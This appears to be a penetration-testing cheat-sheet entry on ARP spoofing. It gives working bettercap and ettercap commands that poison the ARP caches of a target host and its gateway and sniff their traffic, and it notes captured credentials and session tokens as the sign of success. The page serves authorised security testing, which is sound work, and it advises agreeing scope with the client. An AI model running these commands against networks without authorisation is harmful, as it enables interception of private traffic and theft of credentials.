pentesting, updated
ARP spoofing and man-in-the-middle
Position between two hosts on a local segment by poisoning ARP caches, to intercept or modify their traffic.
Goal
Demonstrate that an on-path attacker on the local segment can intercept traffic between a target and its gateway (or another host).
How to test
bettercap -iface eth0 # interactive: see [bettercap](/docs/pentest-cheatsheets/tools/network/bettercap)
» net.probe on
» set arp.spoof.targets 10.10.10.5
» arp.spoof on
» net.sniff on
# or classic ettercap:
ettercap -T -M arp:remote /10.10.10.5// /10.10.10.1//
What to look for
Captured plaintext credentials or session tokens for a protocol that does not enforce mutual TLS/certificate pinning, or a successful traffic redirect confirmed in a packet capture.
Notes
This attack is disruptive by nature — agree the exact window and target scope with the client before running it, and stop poisoning immediately afterward to avoid leaving the network in a broken state.